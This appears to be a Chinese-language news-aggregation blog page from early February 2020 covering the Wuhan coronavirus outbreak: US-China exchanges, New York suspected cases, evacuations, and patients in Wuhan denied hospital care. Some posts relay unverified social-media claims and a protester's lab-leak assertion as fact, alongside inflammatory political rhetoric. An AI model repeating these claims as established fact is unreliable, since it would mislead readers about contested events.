白宫国家安全顾问罗伯特·奥布莱恩（Robert O’Brien）星期天说，与以往危机相比，中国对新型冠状病毒的处理更加透明，但北京尚未接受美国提出的愿派专家前往中国帮助的提议。

奥布莱恩在接受哥伦比亚广播公司(CBS)《面对全国》(Face the Nation)节目采访时说：“到目前为止，中国的透明度肯定比以往遇到任何危机都要高，我们对此表示赞赏。”

他指出，美国提出派疾病控制中心和其他公共卫生健康专业人员前往中国，但是“我们还没有收到中方的答复，但我们准备继续与他们合作。”

美国卫生与公共服务部部长艾利克斯·阿扎尔（Alex Azar）曾表示，美国曾三次要求向中国派遣疾控中心专家前往中国，但是均遭中国拒绝。

2020-02-04 / by davidhorgan479 / in 律师/移民/金融, 新闻

“武汉肺炎绝灾，中共罪魁祸首，必须铲除中共，这最毒的毒瘤”

近期中国大陆爆发的武汉肺炎瘟疫，迅速向全球扩散，令世界多国恐慌。

磐石教会于2月2日在法拉盛图书馆前举行每周一次的揭露和抗议中共暴政的活动，本次活动的主题是，揭露「武汉肺炎」疫情实质是中共人祸造成，中共是全人类最毒的病毒。

主办方在图书馆前悬挂横幅、图片，播放揭露「武汉肺炎」瘟疫真相的视频。横幅上书：「武汉肺炎绝灾，中共罪魁祸首，必须铲除中共，这最毒的毒瘤」，吸引了不少过路的民众驻足观看和了解。

磐石教会负责人邵俊表示，有越来越多的证据显示，新型冠状病毒来自中科院武汉病毒研究所的病毒泄漏，「9月18日武汉病毒研究所搞了一个模拟新型冠状病毒的突发应急处理演习，说明9月18日共产党就察觉到了病毒的泄露，他们早就知道病毒多么危险，但是一直隐瞒。近期瘟疫爆发，他们刚开始还想欺骗，到最后实在瞒不住了，才说会人传人，这时已经失控并向世界多国扩散。」

邵俊说，由此可见武汉肺炎瘟疫其实是人祸，共产党是罪魁祸首。邵俊说，作为基督徒，他认为共产党是撒旦在世上最大的代表，中共是最大的病毒，「它一直用谎言、暴力维持政权，《圣经》上说，『魔鬼撒旦是说谎者之父』，纵观天下，谁说谎最多呢？就是共产党，这跟共产党的宣言——一个幽灵在欧洲上空游荡，是吻合的。共产党早就告诉世人，它就是撒旦。它是人类最毒的病毒。」

邵俊说，但是还有很多中国人对中共的罪恶默认，相当于做共产党的帮凶，中共在中国的土壤滋生、滋长，因很多中国人助纣为虐，有的人还为共产党的罪恶叫好，「如果不铲除共产党这个病毒，中国人不脱离共产党，不觉醒，还是在罪恶中，最后还是逃脱不了与中共一起灭亡的结局。」

参与活动的陈先生说，在中国发生这么大的灾难的时候，共产党还在掩盖真相，还以维稳作为首要，把说真话者冠以「造谣者」的罪名，实在太邪恶，如果当局不恐惧事态的严重性，它也不会全国性封城，但是中国很多人还是很愿意相信中共官方的消息，这实在可悲，「实际染病的人数乘以十都不为过」。

根据多个媒体报导，实际染病人数远超官方数字，有很多人在街头走着走着，突然倒地死亡；有很多人没有去到医院医治就已经死了；也有很多没有确诊就已经死了；武汉汉口殡仪馆发公告，14台火化炉24小时运作，要求丧事从简；而且运尸袋也告急了。

搜集视频播放的周小姐表示，推特、网路上有很多从武汉流出的视频，希望华人能够看一下这些真实的镜头，不要再相信共产党的谎言，认清共产党就是病毒源头及其危害全人类的本质

2020-02-04 / by davidhorgan479 / in 新闻

纽约市新出现两例「武汉肺炎」疑似患者分别在法拉盛医院和长老会皇后医院

2月2日晚上纽约市卫生局发出消息，纽约市新出现两例「武汉肺炎」（新型冠状病毒）疑似患者，样品已经送到美国疾病控防中心（CDC）化验。

目前纽约市共有三例武汉肺炎疑似病例。第2例在法拉盛医院（ Flushing Hospital Medical Center），第3例在长老会皇后医院（New York-Presbyterian Queens），两人目前状况均稳定。

确诊这些新冠状病毒病例的测试，至少需要36～48小时，具体取决于CDC测试能力。

纽约市的第一例疑似患者出现在2月1日，是一位未满40岁的病人，他近期去过中国，目前在曼哈顿表维医院，病情稳定，正在等待化验结果。

纽约州长库默2月2日下午召开新闻发布会，对公众汇报了目前纽约州的冠状病毒疫情进展。目前在纽约州共送检了14个病例，其中11个的结果为阴性。

「我们非常认真对待此情况。我们知道纽约的密度以及复杂性。国际上发生的事情最终到了我们的家门口了。」库默说，「小心从来都是好办法，准备从来都是好办法，这是我们纽约必须要做的事情。」

2020-02-04 / by davidhorgan479 / in 新闻

美国第二批撤侨飞机携带医疗物资抵达武汉

据《华尔街日报》星期二（2月4日）的报道，美国政府第二批撤侨的两架飞机已经于北京时间晚间抵达武汉，美国这次大约要撤走530名美国公民。这两架飞机上运载了医疗防护物资。

《华尔街日报》的报道援引知情人士的话说，物资来自私人机构，但是得到了美国当局的帮助。这些私营机构包括波音公司和两家美国的宗教组织，总部设在犹他州的美国耶稣基督后期圣徒教会(The Church of Jesus Christ of Latter-day Saints)和总部设在北卡罗来纳州的撒马利亚救援会(Samaritan’s Purse)等。

有报道说，美国上周的第一批撤侨飞机也运载了捐赠的医疗物资。

但中国外交部发言人华春莹在星期一指责美国不提供实质帮助，却带头散布恐慌。她说：“美国政府迄今未向中方提供任何实质性帮助，却第一个从武汉撤出其领馆人员，第一个提出撤出其使馆部分人员，第一个宣布对中国公民入境采取全面限制措施，不断制造和散播恐慌，带了一个很坏的头。”

不过，《华尔街日报》的报道援引美国驻中国大使馆发言人的话说，美国政府一直与中国政府密切合作，以便提供人道援助和将另外的美国公民撤出武汉。

上海美国商会会长季恺文（Ker Gibbs）告诉《华尔街日报》，虽然他知道华春莹的发言是针对美国政府的，但是还是感到“有些不舒服”。

他透露上海美国商会的超过60家成员企业已经承诺要向中国的地方政府和慈善机构共捐助3800万美元（合2.7亿元人民币），其中9家公司已经各自捐赠了140万美元。

另据中国科学院、责任云研究院的资料，截至2020年2月2日，共有188家外资企业为中国抗击武汉肺炎疫情捐赠10.96亿元人民币，其中美国企业的捐赠名列第一，高达3.80亿人民币。这些企业包括惠氏营养品中国、GE、雅培中国、波音、微软、戴尔、嘉吉、3M、UPS、霍尼韦尔等大公司。美国企业对武汉疫情的捐赠排名第一

其中霍尼韦尔1月31日宣布，他们将向中国援助价值100万美元的防护设备，用于武汉的医院抗击新冠病毒的努力。

另外美国的一些非营利机构和慈善机构也给中国捐款。其中比尔及梅琳达·盖茨基金会捐出了500万美元给中国。

2020-02-04 / by davidhorgan479 / in 律师/移民/金融, 新闻

为赶在封关令生效前返回美国，中国公民花重金买昂贵机票

联邦政府为保护美国境内人士免受新型冠状病毒（又名武汉肺炎）的威胁，宣布禁止过去14天内到访中国的外籍人士入境（绿卡持有者（合法永久居民）及部分外国人士除外）的行政命令，美东时间2日下午5点起实施。

旅行社业者说，在封关令之前顺利返美的中国人多不惜砸钱，「现在一票难求，便宜的机票卖完，只好买最贵的，保命（保工作）最重要」。

在纽约经营旅行社的业者表示，武汉肺炎疫情爆发后，不少民众打电话取消游轮或者至中国旅游的行程。禁令消息公布后，也有民众致电取消暑期回中国的机票；业者从订票系统查知，平常600~700美元的经济舱机票涨到3,000元，而商务舱要9,000元，头等舱更要10,000元以上，可说「一票难求，保命（保工作）最重要」、「更何况客人宁愿等到疫情稳定了，再买也不迟」。

中国公民曹茜茜（Sissi Cao，音译）一周前回到中国庆祝黄历新年。获悉联邦政府因应新型冠状病毒疫情的封关令后，紧急订了4,000美元的机票才得以返美，保住工作。在纽约工作的她，原订2月2日美东下午6点抵达纽约JFK机场，但禁令5点生效，这意味着必须重订机票，不但要在5点之前降落机场，还要在禁令生效前通过海关。

曹茜茜表示，意识到情况紧急后，她在兵慌马乱中赶往机场买了一张4,000美元至纽约JFK的单程机票；如果再晚一点，就要为经济舱机票花超过1万美元，或者别无选择先离开中国，在其它国家透过网络远端工作，直到总统取消禁令，或她被解雇为止。

在纽约工作的李小姐也说，都这个时候了还看钱？钱已经不是第一位的，保命最重要。

目前针对新型冠状病毒的临时禁止入境命令，将持续到总统川普宣布终止为止，卫生和公共服务部部长在行政命令生效后每隔15天向总统提出是否持续、修改或终止命令的建议。

根据美国公民及移民服务局（USCIS）的资料显示，截至2019年，美国约有110万持F1签证的国际留学生、约有42万持H1B签证的在美工作者，而这两项签证约有三分之一的人是中国公民。

2020-02-04 / by davidhorgan479 / in 律师/移民/金融, 新闻

武汉封城民众在家等死呼吁中共当局学习美法对待撤侨

武汉肺炎在全球肆虐，爆发集中地湖北省武汉市已经封城，不能进不能出，多国在近日展开撤侨，将留在武汉和湖北的各国公民接回国。其中美国和法国的侨民被分别安置在空军基地和一处度假村，形容隔离日子不但没有遭不人道的对待，反而像是度假。中国网民看到消息纷纷表示，现在封城的武汉市民，有病不能医，只能在家等死，呼吁中共政府采取行动让武汉的患者可以尽快接受治疗，不要继续掩盖确诊人数和死亡人数。

法国撤侨隔离在海边度假村

法国第一架撤侨专机1月31日抵达隆河河口省卡里勒鲁埃镇（Carry-le-Rouet），机上接回的183人将在当地滨海度假村隔离14天。小镇就在马赛（Marseille）南方约30公里。

法国网路媒体The Local报导，隔离民众一天测量两次体温，最好是早晚餐前各一次，并将体温告知负责追踪医疗状况的护士。除了这些例行公事，他们住在这个滨海度假村内可说自由自在。

部分隔离民众在早上利用海景观赏日出，其他民众则漫步在饭店建筑周围，或趁天气不错时在户外阅读。

卡里勒鲁埃镇中心像是夏令营，而非医院或健康中心，青少年可以打排球、小孩子可以玩彩色粘土，还有成人享用咖啡的欢乐空间。

这些遭隔离民众抵达卡里勒鲁埃镇时，适逢当地每年2月举行的「海胆节」登场。每年都有游客前来品尝海胆、各式贝类及其他海鲜。

美国侨民隔离“很安心”

因2019新型冠状病毒疫情而撤离武汉的美侨，目前将近200人安置在南加州一处空军基地隔离两週。一名被隔离者说，被安置在军事基地裡「很安心」。

美联社（AP）报导，旅居中国上海的主题游乐园设计师麦柯伊（Matthew L. McCoy）表示：「我们全都乐意待在这裡，确保我们未受感染且大众很安全。」

武汉市民痛诉家属有病不能医

一个武汉妇女用她看到的真相发出了呐喊：千万不要相信政府的报道！
我们响应政府的号召在家自我隔离，然后就没人管没人问，只能在家等死了…我朋友去医院看病，现场就死了两个人…什么免费看病啊，告诉大家，国家都是要收钱的。还不收现金只收微信支付宝！ pic.twitter.com/Qzu7eKK1Ts

— 罗向阳 (@lxy402aaa) February 2, 2020

湖北省著名作家講述武漢慘狀：

這幾天進入爆發期。感染病毒而住不進醫院的病人已開始有人崩潰。昨天有一人撞牆，晚上一男子在司門口跳橋。其慘烈不能不讓人淚奔。社區怎麼不管呢？今早見一位社區負責人，講述他們的艱難。其中提到一家人全染病，住不進醫院，現已死了一人，全家在絕望中準備都死掉。 pic.twitter.com/GvPirU0bWn

— LT 視界 (@LifetimeUSCN) February 2, 2020

“他（医院方面）说我们没有确诊，收治不了，他只收重症的人。我说那等人死了才是重症。”武汉肺炎病患程女士的女儿对大纪元记者说，其母已持续发烧12天，呼吸困难，医院却不收。

“为什么这种发烧的病人都没有医院去治？！一味地叫我们回来隔离，那不是等死吗？”目前越来越多的患者因求医无门、物品短缺，感到绝望无助，纷纷上网求救。

多名病患的家属一致提到，市政府规定由社区提交才能送医院看病住院，“可是上报社区后，社区要求确诊诊断才能送医。”许多患者长期高烧，已出现呼吸短促现象，却仍得不到救治。

“进不了医院只有等死，老百姓太难了！”

69岁的程女士1月22日开始发烧，在武汉第九医院做检查，CT结果为肺部感染，她申请住院，医院说只收重症患者，她无奈只好回家。

程女士在网上表示，“26日开始，市政府对看病流程进行调整，由社区卫生院提交去定点医院看病住院，可是上传社区之后都没有回应，社区和街道说要进行核酸分检后，确诊是感染了新型冠状病毒，才能由指挥部联系医院。”

“我平民百姓在哪里做核酸分检？进不了医院救治，现在状况越来越差，下不了床、去不了医院，只有等死了。”程女士说，“每天呼吸困难，干咳难受至极。”“老百姓太难，请求社会朋友帮忙，看医院有没有空的床位。”

程女士的女儿向记者表示，“妈妈持续发烧12天了，已经3天没有吃东西。拉肚子、咳嗽，躺在床上下不了床。”“发病初期都是叫我们回来隔离，也没有一个有效的措施给我们，然后我们就隔离、隔离，越拖越严重，拖到现在下不了床。”

“用了退热栓（发烧）就退下来，不用又烧起来，就这样反反反复复。她在九医院连续打3天针也没效果。然后叫我们去找试剂盒，我们到哪里去找试剂盒呢？简直是上天无门。”

后来他们终于找到有试剂盒的医院去检查，可是“试剂盒要排队。区医院说5天后，人民医院也说几天后。几天后，那不是死了才拿到试剂盒”。“请您（记者）呼吁一下，我们老百姓没有试剂盒怎么办？”

连续照顾母亲多日，程女士的女儿表示自己也有了症状，“咳嗽十几天，没发烧。我也不知道我染了没，搞不清楚啊。”“我去检查啦，有轻微的病状，要我在家里用药。”

“整个武汉市病人太多了，身边都是，令人心酸”

67岁的陈先生20日开始发烧，他的女儿在网上求助，父亲发烧后出现咳嗽、呼吸短促、喘不上气的症状。29日在湖北省新华医院做了肺部CT，医生说属于中到重度冠状病毒感染，但医生说没有试剂盒，不能做确诊诊断书。

陈先生的女儿告诉大纪元记者说，“爸爸现在呼吸不上来，肺部功能出问题了，然后气短，急需住院治疗。”但是上报社区后，同样迟迟无果，“社区说要求确诊诊断，可是指定医院试剂盒需要排队。”

“因为医院现在没有试剂纸，只能是高度疑似，但看CT的样片确实是这个病。今天在其它医院做了核酸检测，现在在等结果。”

记者和陈女士通话的时候是当地时间晚上7点半左右，她正在医院，“在湖北省中西医结合医院陪我爸打针，他每天打一针静脉注射的。”

“如果能住院的话可以改善他呼吸的问题。我们怕他晚上睡觉呼吸不过来，挺担心的。”但她说医院回复没有床位，“现在不收住院，每个地方都一样，其它地方也都是这样说。”

她描述医院所见，“病人挺多的，都是。感觉好多啊。”“整个武汉市都是这样，病人太多了，身边都是，实在是太多了。”她说父亲可能是聚会时被传染的，“他们聚会的也有得这个病的，也确诊了，已经住院了。”“我朋友的朋友，染病也挺多的。”

晚上12点左右记者再打去，陈女士说：“我们还在排队，这个测试需要排队。好多人。”“他们直接让我们晚上去，前面可能已经排到60、70号了，然后我排到了120多号。所以让我晚上过去。试剂检测是有指定医院的，我们找了一个人相对少一点的医院。发热门诊，也是有特别多的病人。”

她在医院也亲眼看到染病去世的人，“昨天在医院还看到一个女孩站在医院门口哭，跟她爸爸说，妈妈快不行了。昨天这样的事情已经看到好几次，看得我心惊胆颤的，感觉很心酸。”

陈女士说，除了父亲，母亲和她也都感染了，但都还没去医院看，“我妈妈是咳嗽，有时候咳起来不能停，觉得很乏力。有一点低烧，我就是有点发烧。”“因为我爸比较紧急，都顾着他。”

让她最担心的是身边2岁的女儿，“这个病是传染的，但我们也没有办法跟她隔离开，只能是在家里戴口罩，然后避开她。”

她在网络上求助，“物品短缺，购买不到，一家人情况危急，孩子不能没人照顾，感到绝望无助。”

“住不了院请帮我们呼吁一下好吗！”

患者丁女士，57岁，1月23日开始高烧呕吐，她女儿上网求助，“在汉口医院、二医院一系列检查结果，CT反映双肺感染，持续发烧，被告知持续在家吸氧，早已吃不下东西，早就体力不支，家中只父亲一人照顾，体力已严重不支，希望好心人救救这家人，帮帮忙。”

丁女士的女儿告诉记者，妈妈可能是办年货的时候染上的，“高烧10天，呼吸困难，在家里面呼氧。”“在汉口医院诊断，高度疑似，双肺感染。”

丁女士表示，“医生说重症，没有床位，跟区领导、跟社区都打了电话，都没有床位。”无法确诊，无法住院，她无奈地说，“他们怎么确诊？他们又没有车，路上都封车了，他们也没有办法上车，而且也不是每个医院都可以确诊的。”

“我姐姐还有她孩子也感染了，她们正在做确诊。”她说目前都还没有结果，“还在排队入院中。”

“你们有什么办法帮助吗？住不了院，请帮我们呼吁一下好吗？”她说。

2020-02-03 / by beibei / in 新闻

“超级传播者”现身湖北江西江苏 1人至少传10人

日前，湖北、江西和江苏均出现武汉肺炎超级传播者，1名病患至少能感染10人，医界认为，这种情况可能使得新型冠状病毒疫情更难控制。

1月30日，江西省新余新增17宗新型冠状病毒肺炎确诊病例，其中一名黄姓超级传播者一人感染了15人，其中13人为医护人员。省专家组指，不排除后续还有与黄某有关联的确诊病例出现。

2月2日，陆媒报导，睢宁县出现1人传染10人案例。

由于宿迁市宿城区耿车镇等乡镇邻近睢宁县，宿迁市2月2日发布提醒，要求市民尽量减少外出活动及人员聚集，尽量避免到睢宁县等地。

1月28日，陆媒报导了武汉市肺科医院的一名ICU主任胡明的访谈，他谈及武汉医院的现状，并披露自己曾接诊过一个超级传播者，该患者一个人就感染了10来个人。他还说，有个同行讲，自己接诊的重症患者都死了。

胡明表示，如果不能有效的控制疫情，患者就可能一个人要传播十个人。

医界认为，疫情发展过程中，如果出现超级传播者，就意味着病毒在不断传播中已通过变异适应人体，从而导致病毒感染能力大增。

2020-02-02 / by beibei / in 其它, 新闻

实拍武汉医院惨况武汉公民记者直击5分钟出现8具尸体

武汉肺炎大面积爆发，半个中国几乎陷入停摆状态，而武汉城内的消息却不甚透明。中国武汉公民记者方斌近日将自己直击武汉医院的影片发上网，引发轩然大波。方斌在5分钟内就见到8具尸体，还目击有名疑似患病男子濒死当下，其儿子在旁哀嚎，不过就在影片拍摄完当晚，方斌就被自称防疫部门人员上前逮捕。随后有网民在推特发文，指方斌已平安回家。

昨日推特上有不少人转传一名武汉方姓男子走访武汉当地医院的影片，方男首先在医院门口遇到武汉殡仪馆运送尸体，还看到一辆厢型车上载运8个尸袋。接著方男进到医院诊间，医护人员全身著隔离装备，但方男进入诊间时却未有任何人阻拦。

方男还直击一名疑似武汉肺炎患者正濒临死亡，医护人员连忙上前处理，站在一旁的黑衣男子则崩溃打电话，上气不接下气喊著「我的父亲！」方男则是感慨「这个又完了啊！」

方男走出医院后，见到一辆车子问「裡面还有尸体吗？」工作人员则说「还多呢！」让方男不经讶异「这麽多（尸体）！这也太多了！」而且工作人员还告诉他，尸体还在搬，有8具。

就在影片曝光不久，推特上就疯传方姓男子拍摄的影片，不过就在昨晚（1），方男就被自称防疫部门的人士上前逮捕，从影片中也可以看出，对方全部武装穿著防护衣，却迟迟不肯拿出证件，方男下落一度不明。但今早有网友在推特上发文，称方男已平安回家。

2020-02-02 / by beibei / in 医疗健康, 新闻

财经采访长文曝光官方披露武汉肺炎数字造假
——部分病患确诊前死亡不列入官方统计出现症状不能入院也不算确诊病例

武汉肺炎爆发至今确诊人数飙升，外界多次质疑官方披露的数字。大陆财经杂志近日发布《统计数字之外的人：他们死于『普通肺炎』?》的长文，报道中采访了10多个病患家属，其中多数都疑似感染了新型冠状病毒引致的肺炎，但由于各家医院的医疗资源和床位不够，许多出现感染症状的病患因此无法入院治疗。报道称，武汉当地有病人因在确诊前就病亡，因此不能列入官方统计，只能算是「肺部感染死亡」，而出现症状却不能住院的也不算确诊病例。

财经杂志报导，财经记者近日採访了10馀名病患家庭，其中多数都疑似感染了新型冠状病毒引致的肺炎，但由于各家医院的医疗资源和床位不够，许多出现感染症状的病患因此无法入院治疗。

受访者刘梅的婆婆就属于这种情况。刘梅说，婆婆1月21日在武汉第一医院诊断结果显示肺部高度感染，但辗转数家医院都未能住院，只能在家自我隔离，直到病危才送上救护车，家人自此没见到这位老人家，只收到一张火化单，显示死因是病毒性肺炎。

由于刘梅的婆婆生前未获得住院资格，因此病亡后未计入武汉肺炎确诊死亡数据，只能算是因「普通肺炎」而去世。

不具名的医生告诉财经杂志记者，「这两天医院门诊一天有120左右发热病人，其中大约80名有肺部感染，但只有5名可能最终被收进医院」，医院只能让剩下75名病患回家，「患者没办法，我们也没办法」。

报导说，上述医院已有至少5起死亡疑似病例因生前未被确诊，因此不能计入武汉肺炎确诊死亡人数，「这意味著，目前人们所能看到的确诊、死亡病例数字，并不能完全反映这次疫情的全貌」。

武汉某定点医院一名医生也表示，该院收了600名重症病人，但无一人确诊，原因是「缺（检测）试纸」，「但我们也搞不懂为什麽会缺」。

此外，有病患家属透露，即便社区和医院都建议患者立即住院，仍旧不能确定有床位可以住进去。一家定点医院就因为床位不足，导致大量病人拿著住院单排队却无法住进医院。

医生表示，收治的重症患者才能算是疑似病例，需要确诊进一步治疗，如果没有确诊就去世，就不会列为确诊死亡人数，只能算「肺部感染死亡」。

报导归纳说，结论就是「大量的病患者在确诊流程和统计数字之外」。

财经杂志这篇题为「统计数字之外的人：他们死于『普通肺炎』?」长篇报导获得众多媒体转发和关注。对于许多患者竟然不在统计数字之内一事，微博网民几乎一面倒地谴责。

有人说「80名患者肺部感染，只有5名才能住院，住院的才算疑似。想想都恐怖」。

还有网民认为，「这才是真正武汉的现实情况，那些虚伪的数字、虚伪的报导，根本无法掩饰民众的水深火热」。

中国国家卫生健康委员会今天通报，截至2月1日24时，中国大陆共确诊1万4380例武汉肺炎感染病例，累计死亡304例。

2020-02-02 / by beibei / in 医疗健康, 新闻

好奇葩！防堵武汉肺炎封城还不够湖北省出大招“禁婚”

为防堵武汉肺炎疫情不断上升，湖北省大多数城市封城外，还颁布禁止民众外出的禁令。近日湖北民政厅更祭出奇招，表示在疫情期间各地婚姻机关暂停办理婚姻登记业务。这代表湖北省在疫情期间的婚丧嫁娶都停止。

武汉肺炎肆虐中国，目前该国境内确诊病例已达1万4380例、死亡304例，其中严重疫区湖北省已颁布「禁婚令」，从明天（3日）开始停止受理婚姻登记，包含结婚、再婚、离婚都不行。

综合中媒报导，湖北省民政厅宣布，自2月3日起，湖北省各地婚姻登记机关暂停办理依切婚姻登记业务，恢复时间视疫情状况会再另行通知。

中国的婚姻登记业务，不仅仅是办理结婚领证而已，还包括了结婚登记、再婚登记、离婚登记等等。中国网民对此议论纷纷，有人直说结婚来日方才，目前还是保命重要；还有人认为湖北夫妻现在吵架最好别拿「大不了就离婚」来威胁对方，因为离也离不了。

2020-02-02 / by beibei / in 医疗健康, 新闻

美临床报告披露武汉肺炎或通过粪便传播

近日，武汉肺炎疫情火速扩散，然而对于这种罕见传染病的研究了解，人们还所知甚少。美国华盛顿州公共卫生和疾病管制与预防中心（CDC）专家周五在《新英格兰医学杂志》（NEJM），发表美国首例新型冠状病毒病例的临床特征论文，其中提到粪便或为新型冠状病毒传播的媒介。这意味着除了戴口罩外，人们还需要注意其它卫生问题。

这个发现引起医学界的注意。截至目前为止，中国专家有关武汉肺炎的研究报告都未提到病患的排泄物，因此它提供了科学家了解这个新病毒传播途径的新线索，除了武汉肺炎病例的呼吸道样本外，可能还有一个被人们忽略的传播源：腹泻。

华盛顿州卫生部流行病学家斯科特·林德奎斯特（Scott Lindquist）说，在这名35岁男子的粪便中发现被命名为2019-nCoV的新型冠状病毒是“很有意思的事”。

周五，他在电话会议上告诉媒体记者：“这增加人们对它的了解，它不仅会出现在呼吸道分泌物中，还会分泌到粪便中。”

不过，对长期研究冠状病毒的科学家或治疗过SARS病患的医生来说，这个结果并不令人感到惊讶。

17年前爆发的萨斯（SARS，严重急性呼吸道症候群冠状病毒），约有10%到20%的SARS病患出现腹泻症状。明尼苏达州大学（University of Minnesota）兽医和生物医学副教授李方（Fang Li）说，SARS和武汉新型冠状病毒会在人体内，与肺部和肠子中的形状相同的异形蛋白质受体结合，使得这些器官成为它们攻击的主要目标。

美国医学报告披露，粪便或为新型冠状病毒传播的媒介。这意味着除了戴口罩外，人们还需要注意其它卫生问题。(Marijan Murat / dpa / AFP) / Germany OUT

尽管如此，美国国立卫生研究院（National Institutes of Health，简称NIH）国家过敏与传染病研究所（the National Institute of Allergy and Infectious Diseases）所长安东尼·福西（Anthony Fauci）博士周五在白宫记者会上一再强调，目前医学界仍无法掌握新型冠状病毒的风险，因为仍存在太多的未知数，包括它的潜伏期、传染力、传播速度、无症状感染的程度、检测的准确度，以及严重性等等。

香港大学病理学临床教授约翰·尼科尔斯（John Nicholls）说，如果新型冠状病毒能够通过“粪便—口”途径传播，那么口罩防护效果可能有限。

尼科尔斯说，在中国，没有盖子的蹲式厕所相当常见，加上人们上厕所后没有用肥皂和水彻底把手洗干净，那么厕所很可能成为病毒的传播源。

“如果新型冠状病毒在人体内与SARS相同的受体结合，那么它有可能会出现在人体肠子上”，尼科尔斯说，“我认为在武汉，厕所中的粪便很可能是传播源。”

目前尼科尔斯及其香港大学的同事正在测试人体组织和样本的实验室模型，以了解武汉新型冠状病毒在人体内的复制模式。

中国疾病预防控制中心副主任冯子健（Zijian Feng）及其同事周三（1月29日）在《新英格兰医学杂志》发表了武汉早期425个病例报告，指出感染者染病初期似乎没有出现典型的肺炎症状，例如发烧，或者出现一些被忽略的轻度症状。

他在报告中写道：“最初对患者的关注重点是肺炎，但是我们现在知道有些患者会出现胃肠道症状。”

北卡罗莱纳大学（University of North Carolina）吉林斯全球公共卫生学院（Gillings School of Global Public Health）微生物学和免疫学教授拉尔夫·巴里克（Ralph Baric）在接受彭博社记者采访时说，为对付数以百计的重症肺炎患者，武汉市的医生不堪重负，因此没有关注患者的肠胃症状。

巴里克说，在感染的急性期，患者的粪便很有可能存在病毒，而且会在患者出现急性呼吸窘迫综合症状前发生。

2020-02-02 / by beibei / in 新闻

武汉肺炎悲剧频出隔离区似人间地狱

武汉肺炎疫情持续蔓延，网络上传出诸多大陆疫区患者及其家人的惨况视频和文字内容，不禁令人胆寒。

武汉肺炎女孩留遗言：“隔离区是人间地狱”

微博名“伯曼儿”的女孩从1月25日在微博发布她的最新CT，并表示，这次如果能活下来，一定要和家人好好度过后半生。1月29日开始，“伯曼儿”持续在微博帖文，介绍她患病后在隔离区的情况。

1月24日住院以后，医生拒绝给“伯曼儿”做CT和血常规检查。病情在30日和31日迅速恶化。2月1日，“伯曼儿”再次发布微博，表示自己挺过了一晚，但医院在2月1日掐断了她的氧气。“没想到，他们联合起来谋杀我！我死不瞑目！我的父母还被蒙在鼓里，医院一直说给我最好的方案，其实什么都没做过！”
“伯曼儿”的微博还提到，她所在的三医院以及后来转到的人民医院，都死了很多人。她指官方的宣传“全部都是捏造，我一直以为我会好好的出院的，现在我好生生一个人变成了这样！等会我很害怕我的手机被没收了，我要把所谓的隔离全部爆出来！我自己就是一个活生生的例子！”
值得注意的是，在这种情况下，“伯曼儿”的父母竟然被警察找上门，称其在微博和抖音上发布的是负面新闻，并要求其删除。“伯曼儿”强调，“我人在医院隔离，说的句句属实。”

青春如花的研究生姑娘被共匪害的命懸一線，還遭遇惡警抓捕威脅。
微博伯曼儿通過微博記錄，一天比一天嚴重，都關注武漢，忽視100多公里外天門這裡病毒的蔓延更恐怖，缺醫少藥每天含淚含恨死的冤魂無法統計，姑娘說到醫院缺少氧氣給他重症人斷絕氧氣，簡直是直接殺人，畜生五毛罵他造謠，五毛禽獸不如 pic.twitter.com/Mf8UGA3q46

— 界立建 (@lijian92537131) February 1, 2020

社区隔离点没自由无人护理和治疗

干汉江的妻子透露，干汉江已被送进社区隔离点，因为只有进了隔离点才会有机会做核酸测试，也有机会排队等待住院治疗。

自由亚洲电台援引据知情人士指出，目前武汉洪山区仅有三个社区隔离点，并且因为社区医生缺乏物资和装备，根本无力防护，隔离点的工作人员根本不敢进病房，更谈不上护理和治疗。

因此，大批被隔离在社区医院的疑似感染者，除了每天有人将饭放在门口，实际多无人照管，处境十分恶劣。

网上传出视频，一位疑似感染病毒的女人拚死不去隔离中心，哭喊着“我不要走，我不要走”

当事人透露，进了隔离点就不能出来，他们也失去了自行前往门诊打针的机会，随时都可能因为病情恶化死亡。而这样的社区隔离点一共关了多少患者也是一个谜。
据当地一位社区官员证实，目前所谓的社区隔离点资源非常少，核酸检测每天也只有20个。但如果不先进隔离点，就没法得到后续的一系列救治。

喊妈妈声音撕心裂肺
一段摄于湖北武汉新华医院现场视频显示，病患死后不能告别，遗体直接火化，视频中喊妈妈的声音带着撕心裂肺的哭泣，惨绝人寰！网民质问，湖北省及武汉市领导看到不知道是什么想法？

摄于湖北武汉新华医院现场。不能告别，遗体直接火化，喊妈妈的声音带着撕心裂肺的哭泣，惨绝人寰！湖北省及武汉市领导看到不知道是什么想法？
如果你们的妈妈死了也这样吗？ pic.twitter.com/1LVw4AmUNv

— 王美琳 (@CLdQVZJkjDB2aMa) February 2, 2020

肺炎男子跳桥自杀
网友透露，一名肺炎男子因为得不到救治，又不想感染家中妻儿，社区医院相互踢皮球，这位汉子选择了在武汉武昌最热闹的司门口跳桥自杀了。

#武汉肺炎肺炎男子因为得不到救治，又不想感染家中妻儿，社区医院相互踢皮球，这位汉子选择了在武汉武昌最热闹的司门口跳桥自杀了。 pic.twitter.com/vSxyEfNgkX

— kenji (@kenji_tokyo2007) February 1, 2020

疑似肺炎患者倒地

网上传出视频，又有一个人倒下去了，网民说，好可怕，现在还没有到感染的高峰期，到处可见随街倒地的人，这应该不是喝醉酒吧？

这应该是四川口音:龙舟路又有一个人倒下去了，好可怕。
现在还没有到感染的高峰期，到处可见随街倒地的人，这应该不是喝醉酒吧？ pic.twitter.com/xFpVmyGZ8T

— meilong (@meilong15) January 31, 2020

2020-02-02 / by beibei / in 新闻

武汉肺炎出现首例海外死亡！武汉男子菲律宾病逝

武汉肺炎在全球大肆传播引发恐慌。2月2日，外媒报道，菲律宾出现了首宗武汉肺炎海外死亡病例。1名44岁的男子在菲律宾因确诊新型冠状病毒肺炎不治去世。

据美国有线电视新闻网菲律宾台（CNN Philippines）报导，菲国卫生部指出，一名1月25日被送至圣拉萨罗医院（San Lazaro Hospital）的44岁中国武汉男子昨天病逝，他是菲国第一例武汉肺炎确诊病例的伴侣。

菲国卫生部长杜克（Francisco Duque III）说：「病患住院期间发展成严重肺炎，在他生前最后几天裡，他的情况还稳定且有好转迹象，然而情况在最后的24小时裡急遽恶化，导致死亡。」

菲国卫生部表示，他们正与中国大使馆合作处理后续事宜，将把男子遗体火化；菲国上月30日证实，一名来自武汉的38岁妇人经检测确认2019新型冠状病毒（2019-nCoV,俗称武汉肺炎）阳性，目前她仍在在圣拉萨罗医院观察中。

2020-02-02 / by beibei / in 医疗健康, 新闻

武汉肺炎失控！全球63国对中国实行入境管制

武汉肺炎爆发令世界各国严阵以待。中共外交部今天表示，已有63个国家针对中国公民采取了入境管制措施，严防新冠病毒入境。

